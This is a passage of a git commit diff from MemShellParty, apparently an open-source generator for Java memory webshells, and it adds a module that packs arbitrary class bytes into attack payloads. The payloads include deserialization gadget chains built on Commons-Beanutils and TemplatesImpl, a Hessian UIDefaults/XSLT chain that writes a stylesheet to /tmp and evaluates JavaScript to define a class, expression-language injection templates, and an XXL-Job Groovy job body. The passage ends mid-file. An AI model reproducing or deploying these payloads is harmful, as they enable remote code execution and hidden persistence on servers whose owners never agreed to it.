mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: add packer module
This commit is contained in:
@@ -0,0 +1,34 @@
|
||||
plugins {
|
||||
id("java")
|
||||
alias(libs.plugins.lombok)
|
||||
id("maven-publish-convention")
|
||||
}
|
||||
|
||||
group = "io.github.reajason"
|
||||
description = "Java deserialize payload for MemShellParty"
|
||||
version = rootProject.version
|
||||
|
||||
dependencies {
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(libs.bcel)
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(libs.jackson.databind)
|
||||
implementation("com.caucho:hessian:4.0.66")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
implementation("commons-collections:commons-collections:3.2.1")
|
||||
implementation("org.apache.commons:commons-collections4:4.0")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/26
|
||||
*/
|
||||
public interface AggregatePacker extends Packer {
|
||||
|
||||
/**
|
||||
* 聚合打包当前所有分类下的 payload
|
||||
*
|
||||
* @param config 生成结果
|
||||
* @return key -> 打包名称, value -> 打包 payload
|
||||
*/
|
||||
default Map<String, String> packAll(ClassPackerConfig config) {
|
||||
return Packers.getPackersWithParent(this.getClass()).stream().collect(Collectors.toMap(
|
||||
Enum::name,
|
||||
packers -> packers.getInstance().pack(config),
|
||||
(existing, replacement) -> existing,
|
||||
LinkedHashMap::new
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* 将第一个 sub packer 作为默认输出
|
||||
*
|
||||
* @param config 生成的内存马信息
|
||||
* @return payload
|
||||
*/
|
||||
@Override
|
||||
default String pack(ClassPackerConfig config) {
|
||||
List<Packers> packersWithParent = Packers.getPackersWithParent(this.getClass());
|
||||
if (packersWithParent.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
return packersWithParent.get(0).getInstance().pack(config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
public class BCELPacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return "$$BCEL$$" + Utility.encode(config.getClassBytes(), true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
@Data
|
||||
public class ClassPackerConfig {
|
||||
private String className;
|
||||
private byte[] classBytes;
|
||||
private String classBytesBase64Str;
|
||||
private boolean byPassJavaModule;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/27
|
||||
*/
|
||||
@Data
|
||||
public class JarPackerConfig {
|
||||
private String mainClassName;
|
||||
private transient Map<String, byte[]> classBytes;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer {
|
||||
|
||||
/**
|
||||
* 将自定义类打包成特定 payload
|
||||
*
|
||||
* @param classPackerConfig 自定义类信息
|
||||
* @return 字符串 payload
|
||||
*/
|
||||
default String pack(ClassPackerConfig classPackerConfig) {
|
||||
throw new UnsupportedOperationException("当前 " + this.getClass().getSimpleName() + " 不支持 string 生成");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import com.reajason.javaweb.packer.aviator.AviatorPacker;
|
||||
import com.reajason.javaweb.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.packer.bsh.BeanShellPacker;
|
||||
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.deserialize.hessian.HessianPacker;
|
||||
import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
|
||||
import com.reajason.javaweb.packer.jsp.DefineClassJspPacker;
|
||||
import com.reajason.javaweb.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Getter
|
||||
public enum Packers {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
Rhino(new RhinoPacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
OGNL(new OGNLPacker()),
|
||||
MVEL(new MVELPacker()),
|
||||
Aviator(new AviatorPacker()),
|
||||
JXPath(new JXPathPacker()),
|
||||
JEXL(new JEXLPacker()),
|
||||
BeanShell(new BeanShellPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
JavaDeserialize(new JavaDeserializePacker()),
|
||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
||||
|
||||
/**
|
||||
* Hessian 反序列化打包器
|
||||
*/
|
||||
Hessian2Deserialize(new Hessian2Packer()),
|
||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
||||
|
||||
HessianDeserialize(new HessianPacker()),
|
||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packers(Packer instance, Class<?> parentPacker) {
|
||||
this.instance = instance;
|
||||
this.parentPacker = parentPacker;
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJobPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String source = template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("jobId", 1);
|
||||
map.put("executorHandler", "demoJobHandler");
|
||||
map.put("executorParams", "demoJobHandler");
|
||||
map.put("executorBlockStrategy", "COVER_EARLY");
|
||||
map.put("executorTimeout", 0);
|
||||
map.put("logId", 1);
|
||||
map.put("logDateTime", System.currentTimeMillis());
|
||||
map.put("glueType", "GLUE_GROOVY");
|
||||
map.put("glueSource", source);
|
||||
map.put("glueUpdatetime", System.currentTimeMillis());
|
||||
map.put("broadcastIndex", 0);
|
||||
map.put("broadcastTotal", 0);
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出
|
||||
return objectMapper.writeValueAsString(map);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.packer.aviator;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class AviatorPacker implements Packer {
|
||||
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class DefaultBase64Packer implements Packer {
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return config.getClassBytesBase64Str();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.packer.base64;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class GzipBase64Packer implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes()));
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.bsh;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class BeanShellPacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"{{script}}\")";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script.replaceAll("\\\"", "'"));
|
||||
}
|
||||
}
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.packer.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import com.caucho.hessian.io.HessianOutput;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class HessianDeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static String generate(Object obj) {
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessianOutput.writeObject(obj);
|
||||
hessianOutput.close();
|
||||
return Base64.encodeBase64String(bos.toByteArray());
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static String generate2(Object obj) {
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessian2Output.writeObject(obj);
|
||||
hessian2Output.close();
|
||||
return Base64.encodeBase64String(bos.toByteArray());
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.packer.deserialize;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JavaDeserializeGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static String generate(Object obj) {
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
||||
oos.writeObject(obj);
|
||||
oos.flush();
|
||||
oos.close();
|
||||
return Base64.encodeBase64String(bos.toByteArray());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package com.reajason.javaweb.packer.deserialize;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/9
|
||||
*/
|
||||
public class TemplateUtils {
|
||||
|
||||
@SneakyThrows
|
||||
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
|
||||
TemplatesImpl templates = new TemplatesImpl();
|
||||
byte[] fooBytes;
|
||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||
.subclass(Object.class).name("foo")
|
||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||
.make()) {
|
||||
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
|
||||
}
|
||||
|
||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
|
||||
bytes, fooBytes
|
||||
});
|
||||
|
||||
Reflections.setFieldValue(templates, "_transletIndex", 0);
|
||||
Reflections.setFieldValue(templates, "_name", "SimpleJava");
|
||||
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
|
||||
return templates;
|
||||
}
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class Hessian2Packer implements AggregatePacker {
|
||||
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class Hessian2XSLTScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
byte[] injectorBytes = config.getClassBytes();
|
||||
String injectorClassName = config.getClassName();
|
||||
return HessianDeserializeGenerator.generate2(XSLTScriptEngine.generate(injectorBytes, injectorClassName));
|
||||
}
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class HessianPacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.HessianDeserializeGenerator;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/20
|
||||
*/
|
||||
public class HessianXSLTScriptEnginePacker implements Packer {
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
byte[] injectorBytes = config.getClassBytes();
|
||||
String injectorClassName = config.getClassName();
|
||||
return HessianDeserializeGenerator.generate(XSLTScriptEngine.generate(injectorBytes, injectorClassName));
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.util.Arrays;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class XSLTScriptEngine {
|
||||
@SneakyThrows
|
||||
public static Object generate(byte[] bytes, String className) {
|
||||
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||
|
||||
String tmpPath = "/tmp/CACHE_XML";
|
||||
|
||||
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
|
||||
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||
" <xsl:template match=\"/\">\n" +
|
||||
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||
" <xsl:value-of select=\"$result\"/>\n" +
|
||||
" </xsl:template>\n" +
|
||||
"</xsl:stylesheet>\n";
|
||||
|
||||
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
|
||||
Reflections.setFieldValue(writeValue, "acc", null);
|
||||
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
|
||||
Reflections.setFieldValue(processValue, "acc", null);
|
||||
|
||||
HashMap<Object, Object> map1 = new HashMap<>(1);
|
||||
HashMap<Object, Object> map2 = new HashMap<>(1);
|
||||
HashMap<Object, Object> map3 = new HashMap<>(1);
|
||||
HashMap<Object, Object> map4 = new HashMap<>(1);
|
||||
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
|
||||
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
|
||||
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
|
||||
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
|
||||
|
||||
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils110Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(1L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
